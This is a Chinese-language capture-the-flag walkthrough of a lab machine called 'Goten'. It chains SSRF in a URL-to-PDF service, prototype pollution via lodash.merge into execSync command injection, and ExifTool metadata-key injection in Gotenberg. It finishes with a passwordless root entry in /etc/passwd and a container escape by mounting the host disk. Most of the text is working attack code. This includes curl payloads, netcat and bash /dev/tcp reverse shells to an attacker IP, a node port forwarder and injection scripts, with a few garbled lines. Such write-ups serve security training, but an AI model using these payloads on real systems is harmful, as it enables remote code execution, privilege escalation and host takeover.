

信息收集

```
nmap -sV -sC -p- 192.168.100.35
```

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 10.3 (protocol 2.0)
80/tcp	open	http	Apache httpd 2.4.67 ((Unix))
8080/tcp	open	http	Node.js Express framework

```
dirsearch -u http://192.168.100.35
```

```
[01:38:47] 200 - 820B - /cgi-bin/printenv
```

```
[01:38:47] 200 - 1KB - /cgi-bin/test-cgi
```

```
dirsearch -u http://192.168.100.35:8080
```

```
[01:38:53] Starting:
```

```
[01:39:09] 200 - 551B - /status
```

```
[01:39:09] 200 - 551B - /status/
```

```
[01:39:09] 200 - 551B - /status?full=true
```

80端口

关于跨网关调用中“数据规约不一致”导致的中断通报

在近期对 Goten 节点及相关网关组件的代码审计中发现，由于跨语言、跨层级调用时未严格遵循统一的序列化命名转换约束，导致多处上下文级局部变量读取出现中断风险。特此发布代码规范对齐要求。

▲ 核心排查原则： 外部边界报文（网关、API 交互响应、静态序列化数据）统一强制转为 snake_case（下划线）标准落地；但应用层（如 Node.js 运行时内部）策略实体、默认配置项则一律保留 camelCase（小驼峰）内存对象规范。

1. 异构命名空间的隐式映射

当下端通过状态检查或资产收集接口向外回显带有 snake_case（下划线）的键名时，请注意，业务逻辑层在实例化或进行默认值缺省初始化（如 `const val = config.param || "default"`）时，寻找的是对应的驼峰属性。常见对齐逻辑如下：

```
// 外部边界/接口回显输出（下划线风格数据报文）
{
  "service_status": "active",
  "target_env": "production"
}

// 后端业务逻辑实际在对象中检索的命名空间（小驼峰风格内存属性）
if (config.serviceStatus === "active") {
  const env = config.targetEnv || "development";
}
```

2. 全局基础对象安全与防范要求

防范递归混入带来的属性穿透： 在使用 `lodash.merge` 等混入工具处理不可信的客户端 `options` 参数时，必须防止外部传入的特殊键名直接穿透至 JavaScript 的全局基类对象（如 `Object.prototype`）。

避免隐式原型引发的业务逻辑混乱： 动态合并操作如果缺乏边界隔离，会导致不可控属性被注入到全局原型链中。这会使得服务内部原本健壮的“局部空对象”（如 `const config = {}`）在读取缺省属性时，错误地继承了被污染的全局值，从而导致后续的系统调用或默认配置逻辑彻底失效。

应用接收 snake_case 参数，内部转为 camelCase 读取。如果能污染 `Object.prototype` 的 camelCase 属性，就能控制内部逻辑。

页面还明确提到了：

- 使用 ``lodash.merge`` 处理不可信的 ``options`` 参数
- ``const val = config.param || "default"`` 模式

- 空对象 `{}` 读取属性时会继承原型链上被污染的值

8080端口



PDF Cloud

基于 Gotenberg 引擎的高性能 URL 转 PDF 服务

目标网页 URL

立即生成 PDF

© 2026 PDF Cloud Service. All Rights Reserved.

/status 端点

```
{
  "status": "ready",
  "node_path": "/usr/bin/node",
  "node_version": "v24.15.0"
}
```

- `node\_path`: `/usr/bin/node` - Node.js 可执行文件路径
- `node\_version`: `v24.15.0` - 版本号
- **字段名 `node\_path`

访问 <http://192.168.100.35:8080/> 时, 页面 HTML 里直接有 JavaScript 代码:

```
const res = await fetch('/convert', {  
  method: 'POST',  
  headers: { 'Content-Type': 'application/json' },  
  body: JSON.stringify({ url }) // 默认暂不传入 options 字典  
});
```



PDF Cloud

基于 Gutenberg 引擎的高性能 URL 转 PDF 服务

目标网页 URL

立即生成 PDF

© 2026 PDF Cloud Service. All Rights Reserved.

SSRF发现

/convert 让 Gotenberg 的 Chromium 去抓取用户提供的 URL 并渲染成 PDF。如果 Gotenberg 和 Node.js 在同一台机器上，我们可以让它访问内部服务。

尝试 localhost — 被 URL 验证拦截

`http://127.0.0.1:8080/status`



PDF Cloud

基于 Gotenberg 引擎的高性能 URL 转 PDF 服务

目标

🌐 192.168.100.35:8080

生成失败: convert failed

确定

© 2026 PDF Cloud Service. All Rights Reserved.

尝试靶机自身 IP — 成功!

`http://192.168.100.35:8080/status`

Pretty-print ☐

```
{"status": "ready", "node_path": "/usr/bin/node", "node_version": "v24.15.0"}
```

发现 Gutenberg 服务

通过 SSRF 扫描内部端口, 发现 Gutenberg API:

Gutenberg 默认运行在 3000 端口

发现版本是8.29.1

`http://127.0.0.1:3000/version`

8.29.1

health

`http://127.0.0.1:3000/health`

```
{"status": "up", "details": {"chromium": {"status": "up", "timestamp": "2026-06-15T05:56:49.672994708Z"}, "libreoffice": {"status": "up", "timestamp": "2026-06-15T05:56:49.671512823Z"}}
```

原型污染发现与验证

80端口提示页面明确说了 ``lodash.merge`` 存在原型污染。``lodash ^4.17.4`` (从 npm 历史可知此版本范围包含漏洞版本)。

尝试 1: 污染一个无害属性

```
curl -s -X POST http://192.168.100.35:8080/convert \
  -d '{"url":"http://example.com","options":{"__proto__":
{"mytest":"hello"}}}' \
  -o test1.pdf -m 15
# 返回 200, 正常 PDF
```

没有崩溃, 但无法确认污染是否真的生效。

尝试 2: 污染 Gotenberg 渲染参数来验证

如果原型污染生效, `__proto__` 中的属性会进入 `Object.prototype`, 影响应用读取的所有空对象。Gotenberg 的渲染参数 (如 `landscape`) 如果被污染, 会导致 PDF 的渲染方式改变。

```
# 正常 PDF (基准)
curl -s -X POST http://192.168.100.35:8080/convert \
  -d '{"url":"http://example.com"}' -o base.pdf -m 15
md5sum base.pdf
```

```
# b4d3d9af23c7a7d14f30ab933cf869dc
```

```
# 污染 landscape
```

```
curl -s -X POST http://192.168.100.35:8080/convert \
  -d '{"url":"http://example.com","options":{"__proto__":
{"landscape":"true"}}}' \
  -o polluted.pdf -m 15
md5sum polluted.pdf
# 0fb053cc25ed9218b185bad8e4e8c02d ← 不同!
...
```

****MD5 不同 = 原型污染确认生效! **** `landscape` 被污染后改变了 Gotenberg 的渲染行为。

尝试 3：测试更多属性，观察哪些会导致崩溃

```
# 污染 shell → 服务崩溃（空响应）
```

```
curl -s -X POST http://192.168.100.35:8080/convert \
  -d '{"url":"http://example.com","options":{"__proto__":
{"shell":"/bin/bash"}}}' \
  -m 15
```

```
# 返回：空响应，服务崩溃
```

```
# 污染 exec → 服务崩溃
```

```
curl -s -X POST http://192.168.100.35:8080/convert \
  -d '{"url":"http://example.com","options":{"__proto__":{"exec":"id"}}}' \
  -m 15
```

```
# 返回：空响应，服务崩溃
```

```
# 污染 node_options=[] → 服务崩溃
```

```
curl -s -X POST http://192.168.100.35:8080/convert \
  -d '{"url":"http://example.com","options":{"__proto__":{"node_options":
[]}}}' \
```

```
-m 15
# 返回：空响应，服务崩溃
```

`shell`、`exec`、`node\_options` 等属性的污染都会导致崩溃，说明**应用确实在读取这些属性**，只是值格式不对导致异常。
但 `exec="true"`、`shell="true"` 等安全值不会崩溃：

安全值测试

```
curl -s -X POST http://192.168.100.35:8080/convert \
  -d '{"url":"http://example.com","options":{"__proto__":{"exec":"true"}}}' \
  -o /dev/null -w '%{http_code}' -m 15
# 返回：200
```

回头看 `/status` 的响应：

```
{
  "status": "ready",
  "node_path": "/usr/bin/node",
  "node_version": "v24.15.0"
}
```

推理过程

1. `node\_path` 字段的值是 `/usr/bin/node` — 这是一个**可执行文件路径**
2. `node\_version` 的值是 `v24.15.0` — 这是 `node -v` 的输出
3. 两者结合起来，应用很可能是这样做的：
```javascript

```
execSync(`${nodePath} -v`)
...`
```

4. 如果 `nodePath` 来自一个\*\*空对象\*\*的属性读取:

```
```javascript  
const config = {};  
const nodePath = config.nodePath || "/usr/bin/node";  
...`
```

5. 空对象读属性 → 走原型链 → 可以被原型污染控制!

构造 RCE Payload

如果污染 `nodePath` 为 `id #`, 那么:

```
...`
```

```
execSync(`${nodePath} -v`)
```

→ `execSync("id # -v")`

→ 执行 "id", "# -v" 被 shell 当作注释忽略

→ 返回 id 命令的输出

`#` 在 shell 中是注释符, 完美截断后面的 `-v`。

RCE 验证

Step 1: 污染 nodePath

```
curl -s -X POST http://192.168.100.35:8080/convert \  
-H 'Content-Type: application/json' \  
-d '{"url":"http://example.com","options":{"__proto__":{"nodePath":"id  
#"}}}' \  
-o /dev/null -m 15
```

Step 2: 触发 execSync

```
curl -s http://192.168.100.16:8080/status
```

```
(kali㉿kali)-[~/Desktop/st/Goten]
$ curl -s -X POST http://192.168.100.35:8080/convert \
-H 'Content-Type: application/json' \
-d '{"url":"http://example.com","options":{"__proto__":{"nodePath":"id #"}}}' \
-o /dev/null -m 15

(kali㉿kali)-[~/Desktop/st/Goten]
$ curl -s http://192.168.100.35:8080/status
```

```
{"status":"ready","node_path":"id #","node_version":"uid=1000(pdfcloud) gid=1000(pdfcloud) groups=1000(pdfcloud)"}
```

反弹shell

```
curl -s -X POST http://192.168.100.16:8080/convert \
-H 'Content-Type: application/json' \
-d '{"url":"http://example.com","options":{"__proto__":
{"nodePath":"busybox nc 192.168.100.50 6666 -e sh #"}}}' \
-o /dev/null -m 15
```

```
(kali㉿kali)-[~/Desktop/st/Goten]
$ curl -s -X POST http://192.168.100.35:8080/convert \
-H 'Content-Type: application/json' \
-d '{"url":"http://example.com","options":{"__proto__":{"nodePath":"busybox nc 192.168.100.50 6666 -e sh #"}}}' \
-o /dev/null -m 15

(kali㉿kali)-[~/Desktop/st/Goten]
$ curl -s http://192.168.100.35:8080/status
```

```
(kali㉿kali)-[~/Desktop/poc]
$ python3 penelope.py 6666
[+] Listening for reverse shells on 0.0.0.0:6666 + 127.0.0.1 + 192.168.100.50 + 172.20.0.1 + 172.21.0.1 + 172.18.0.1 + 172.19.0.1 + 172.17.0.1
* Main Menu (m) ? Payloads (p) Clear (Ctrl-L) Quit (q/Ctrl-C)
[+] Got reverse shell from Goten-192.168.100.35-Linux-x86_64 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3!
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/kali/.penelope/Goten-192.168.100.35_Linux_x86_64/2026_06_15-02_09_55-277.log
```

Goten:/\$

成功

看 pdfcloud 进程与环境

```
ps aux | grep -E 'node|gotenberg|docker'
ls -la /opt/pdfcloud/
cat /opt/pdfcloud/app.js | head -90
...
```

关键发现：

- pdfcloud 跑在**宿主机**，不是容器里
- `GOTENBERG\_URL = 'http://127.0.0.1:3000'`
- `/status` 里 `config.nodePath` 可被原型污染控制 → RCE 入口

```
cat /etc/group | grep -E 'docker|disk'
ls -la /var/run/docker.sock
ls -la /dev/sda3
which debugfs mount 2>&1
```

```
disk:x:6:root
docker:x:102:root          # 只有 root, 没有 pdfcloud
srw-rw---- docker.sock    # pdfcloud 读不了
brw-rw---- /dev/sda3       # pdfcloud 不在 disk 组, 读不了
debugfs 不存在于宿主机
```

结论：宿主机上 pdfcloud 无法直接读盘、无法 docker 逃逸，必须打 127.0.0.1:3000 Gotenberg。

探测 Gotenberg 容器

pdfcloud 能访问本机 3000 端口, 用 RCE 在宿主机上 curl:

```
curl -s http://127.0.0.1:3000/health
curl -s http://127.0.0.1:3000/version
版本: `8.29.1` (存在 ExifTool metadata 键注入)。
```

```
cd /opt/pdfcloud && node -e "
const axios=require('axios');const FormData=require('form-data');const
fs=require('fs');
(async()=>{
  const form=new FormData();
  form.append('url','https://example.com');
  const r=await
axios.post('http://127.0.0.1:3000/forms/chromium/convert/url',form,
{headers:form.getHeaders(),responseType:'arraybuffer'});
  fs.writeFileSync('/tmp/real.pdf',Buffer.from(r.data));
  const key='Title\n-if\nsystem(\"id\")||1\n-Comment';
  const mf=new FormData();
  mf.append('files',fs.createReadStream('/tmp/real.pdf'));
  mf.append('metadata',JSON.stringify({[key]:'x'}));
  await
axios.post('http://127.0.0.1:3000/forms/pdfengines/metadata/write',mf,
{headers:mf.getHeaders()});
  console.log('sent');
})();"
```

再用 pollution 触发容器内 `id` 的效果需配合外带 (Step 5) 查看。

转发端口打poc反弹shell

```
node -e "
const net=require('net');
net.createServer(s=>{
  const c=net.connect(3000,'127.0.0.1'13/16);
```

```
s.on('error',()=>{}); c.on('error',()=>{});
s.pipe(c); c.pipe(s);
}).listen(13000,'0.0.0.0',()=>console.log('forward 0.0.0.0:13000 ->
127.0.0.1:3000'));
" &
```

```
cd /opt/pdfcloud && node -e "
const axios=require('axios');const FormData=require('form-data');const
fs=require('fs');
(async()=>{
  const form=new FormData();
  form.append('url','https://example.com');
  const r=await
axios.post('http://127.0.0.1:3000/forms/chromium/convert/url',form,
{headers:form.getHeaders(),responseType:'arraybuffer'});
  fs.writeFileSync('/tmp/real.pdf',Buffer.from(r.data));
  const key='Title\n-if\nsystem(\"bash -c 'bash -i >&
/dev/tcp/192.168.100.50/7777 0>&1'\")||1\n-Comment';
  const mf=new FormData();
  mf.append('files',fs.createReadStream('/tmp/real.pdf'));
  mf.append('metadata',JSON.stringify({[key]:'x'}));
  await
axios.post('http://127.0.0.1:3000/forms/pdfengines/metadata/write',mf,
{headers:mf.getHeaders()});
  console.log('sent');
})();"
```

写/etc/passwd

```
echo "ahiz::0:0::/root:/bin/bash" >> /etc/passwd
su ahiz
```

```
gotenberg@ce426a65dcc4:~$ id
uid=1001(gotenberg) gid=1001(gotenberg) groups=1001(gotenberg),0(root)
gotenberg@ce426a65dcc4:~$ newgrp root
gotenberg@ce426a65dcc4:~$ id
uid=1001(gotenberg) gid=0(root) groups=0(root),1001(gotenberg)
gotenberg@ce426a65dcc4:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
gotenberg:x:1001:1001::/home/gotenberg:/bin/bash
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:997:997:System Message Bus:/nonexistent:/usr/sbin/nologin
gotenberg@ce426a65dcc4:~$ echo "ahiz::0:0::/root:/bin/bash" >> /etc/passwd
gotenberg@ce426a65dcc4:~$ su ahiz
root@ce426a65dcc4:/home/gotenberg# id
```

```
root@ce426a65dcc4:/home/gotenberg# cat /proc/self/status | grep Cap
CapInh: 0000000000000000
CapPrm: 000001ffffffffffff
CapEff: 000001ffffffffffff
CapBnd: 000001ffffffffffff
CapAmb: 0000000000000000
```

```
root@ce426a65dcc4:/home/gotenberg# ls -la /dev/sd*
brw-rw---- 1 root disk 8, 0 Jun 16 06:10 /dev/sda
brw-rw---- 1 root disk 8, 1 Jun 16 06:10 /dev/sda1
brw-rw---- 1 root disk 8, 2 Jun 16 06:10 /dev/sda2
brw-rw---- 1 root disk 8, 3 Jun 16 06:10 /dev/sda3
```

挂载逃逸

```
root@ce426a65dcc4:/tmp# mkdir -p /mnt/host
root@ce426a65dcc4:/tmp# mount /dev/sda3 /mnt/host
root@ce426a65dcc4:/tmp# cat /mnt/host/
bin/          dev/          home/         lost+found/  mnt/         proc/
run/          srv/          tmp/          var/
boot/         etc/          lib/          media/       opt/         root/
sbin/         sys/          usr/
root@ce426a65dcc4:/tmp# cat /mnt/host/root/root.txt
flag{root-0e19f671570370c62357f502b9981310}
```